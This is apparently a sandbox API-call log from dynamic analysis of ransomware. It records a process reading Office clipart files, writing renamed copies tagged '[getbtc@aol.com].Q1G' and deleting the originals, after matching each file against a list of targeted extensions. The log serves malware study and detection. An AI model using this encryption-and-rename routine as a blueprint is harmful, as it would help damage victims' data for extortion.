[0255.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0255.949] lstrlenW (lpString=".jpg") returned 4 [0255.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.949] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.949] lstrlenW (lpString="J0105238.WMF") returned 12 [0255.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.949] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=17172) returned 1 [0255.949] CloseHandle (hObject=0x20c) returned 1 [0255.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf")) returned 0x20 [0255.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.950] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.950] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.951] GetLastError () returned 0x0 [0255.951] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x4314, lpOverlapped=0x0) returned 1 [0255.952] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x4320, lpOverlapped=0x0) returned 1 [0255.953] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.953] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.954] SetEndOfFile (hFile=0x390) returned 1 [0255.954] CloseHandle (hObject=0x390) returned 1 [0255.954] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.954] SetEndOfFile (hFile=0x20c) returned 1 [0255.956] CloseHandle (hObject=0x20c) returned 1 [0255.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0255.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0255.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0255.959] lstrlenW (lpString=".doc") returned 4 [0255.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.959] lstrlenW (lpString=".docx") returned 5 [0255.959] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0255.959] lstrlenW (lpString=".pdf") returned 4 [0255.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.959] lstrlenW (lpString=".xls") returned 4 [0255.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.959] lstrlenW (lpString=".xlsx") returned 5 [0255.959] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0255.959] lstrlenW (lpString=".ppt") returned 4 [0255.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0255.960] lstrlenW (lpString=".zip") returned 4 [0255.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.960] lstrlenW (lpString=".rar") returned 4 [0255.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.960] lstrlenW (lpString=".bz2") returned 4 [0255.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.960] lstrlenW (lpString=".7z") returned 3 [0255.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0255.960] lstrlenW (lpString=".dbf") returned 4 [0255.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0255.960] lstrlenW (lpString=".1cd") returned 4 [0255.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0255.960] lstrlenW (lpString=".jpg") returned 4 [0255.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0255.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0255.960] lstrlenW (lpString=".doc") returned 4 [0255.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.960] lstrlenW (lpString=".docx") returned 5 [0255.960] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0255.960] lstrlenW (lpString=".pdf") returned 4 [0255.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.960] lstrlenW (lpString=".xls") returned 4 [0255.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.960] lstrlenW (lpString=".xlsx") returned 5 [0255.960] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0255.960] lstrlenW (lpString=".ppt") returned 4 [0255.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0255.960] lstrlenW (lpString=".zip") returned 4 [0255.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.960] lstrlenW (lpString=".rar") returned 4 [0255.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.961] lstrlenW (lpString=".bz2") returned 4 [0255.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.961] lstrlenW (lpString=".7z") returned 3 [0255.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0255.961] lstrlenW (lpString=".dbf") returned 4 [0255.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0255.961] lstrlenW (lpString=".1cd") returned 4 [0255.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0255.961] lstrlenW (lpString=".jpg") returned 4 [0255.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.961] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.961] lstrlenW (lpString="J0105240.WMF") returned 12 [0255.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.961] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=11532) returned 1 [0255.962] CloseHandle (hObject=0x20c) returned 1 [0255.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf")) returned 0x20 [0255.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.962] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.962] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.963] GetLastError () returned 0x0 [0255.963] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2d0c, lpOverlapped=0x0) returned 1 [0256.068] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2d10, lpOverlapped=0x0) returned 1 [0256.069] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.069] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.069] SetEndOfFile (hFile=0x390) returned 1 [0256.069] CloseHandle (hObject=0x390) returned 1 [0256.069] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.069] SetEndOfFile (hFile=0x20c) returned 1 [0256.071] CloseHandle (hObject=0x20c) returned 1 [0256.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0256.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0256.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0256.272] lstrlenW (lpString=".doc") returned 4 [0256.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.272] lstrlenW (lpString=".docx") returned 5 [0256.272] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0256.272] lstrlenW (lpString=".pdf") returned 4 [0256.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.273] lstrlenW (lpString=".xls") returned 4 [0256.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.273] lstrlenW (lpString=".xlsx") returned 5 [0256.273] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0256.273] lstrlenW (lpString=".ppt") returned 4 [0256.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0256.273] lstrlenW (lpString=".zip") returned 4 [0256.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.273] lstrlenW (lpString=".rar") returned 4 [0256.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.273] lstrlenW (lpString=".bz2") returned 4 [0256.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.273] lstrlenW (lpString=".7z") returned 3 [0256.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0256.273] lstrlenW (lpString=".dbf") returned 4 [0256.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0256.273] lstrlenW (lpString=".1cd") returned 4 [0256.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0256.273] lstrlenW (lpString=".jpg") returned 4 [0256.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0256.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0256.273] lstrlenW (lpString=".doc") returned 4 [0256.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.273] lstrlenW (lpString=".docx") returned 5 [0256.273] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0256.273] lstrlenW (lpString=".pdf") returned 4 [0256.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.273] lstrlenW (lpString=".xls") returned 4 [0256.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.273] lstrlenW (lpString=".xlsx") returned 5 [0256.274] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0256.274] lstrlenW (lpString=".ppt") returned 4 [0256.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0256.274] lstrlenW (lpString=".zip") returned 4 [0256.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.274] lstrlenW (lpString=".rar") returned 4 [0256.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.274] lstrlenW (lpString=".bz2") returned 4 [0256.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.274] lstrlenW (lpString=".7z") returned 3 [0256.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0256.274] lstrlenW (lpString=".dbf") returned 4 [0256.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0256.274] lstrlenW (lpString=".1cd") returned 4 [0256.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0256.274] lstrlenW (lpString=".jpg") returned 4 [0256.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.274] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.274] lstrlenW (lpString="J0105292.WMF") returned 12 [0256.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0256.275] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=14868) returned 1 [0256.275] CloseHandle (hObject=0x3bc) returned 1 [0256.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf")) returned 0x20 [0256.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0256.275] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.275] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0256.277] GetLastError () returned 0x0 [0256.277] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x3a14, lpOverlapped=0x0) returned 1 [0256.294] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0256.295] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.295] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.295] SetEndOfFile (hFile=0x20c) returned 1 [0256.300] CloseHandle (hObject=0x20c) returned 1 [0256.300] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.300] SetEndOfFile (hFile=0x3bc) returned 1 [0256.302] CloseHandle (hObject=0x3bc) returned 1 [0256.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0256.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0256.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0256.475] lstrlenW (lpString=".doc") returned 4 [0256.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.475] lstrlenW (lpString=".docx") returned 5 [0256.475] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0256.475] lstrlenW (lpString=".pdf") returned 4 [0256.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.475] lstrlenW (lpString=".xls") returned 4 [0256.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.475] lstrlenW (lpString=".xlsx") returned 5 [0256.475] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0256.475] lstrlenW (lpString=".ppt") returned 4 [0256.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0256.475] lstrlenW (lpString=".zip") returned 4 [0256.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.475] lstrlenW (lpString=".rar") returned 4 [0256.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.475] lstrlenW (lpString=".bz2") returned 4 [0256.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.475] lstrlenW (lpString=".7z") returned 3 [0256.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0256.475] lstrlenW (lpString=".dbf") returned 4 [0256.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0256.475] lstrlenW (lpString=".1cd") returned 4 [0256.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0256.475] lstrlenW (lpString=".jpg") returned 4 [0256.475] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0256.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0256.475] lstrlenW (lpString=".doc") returned 4 [0256.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.475] lstrlenW (lpString=".docx") returned 5 [0256.476] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0256.476] lstrlenW (lpString=".pdf") returned 4 [0256.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.476] lstrlenW (lpString=".xls") returned 4 [0256.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.476] lstrlenW (lpString=".xlsx") returned 5 [0256.476] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0256.476] lstrlenW (lpString=".ppt") returned 4 [0256.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0256.476] lstrlenW (lpString=".zip") returned 4 [0256.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.476] lstrlenW (lpString=".rar") returned 4 [0256.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.476] lstrlenW (lpString=".bz2") returned 4 [0256.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.476] lstrlenW (lpString=".7z") returned 3 [0256.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0256.476] lstrlenW (lpString=".dbf") returned 4 [0256.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0256.476] lstrlenW (lpString=".1cd") returned 4 [0256.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned 63 [0256.476] lstrlenW (lpString=".jpg") returned 4 [0256.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.476] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.476] lstrlenW (lpString="J0105320.WMF") returned 12 [0256.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0256.493] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2020) returned 1 [0256.493] CloseHandle (hObject=0x3a8) returned 1 [0256.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 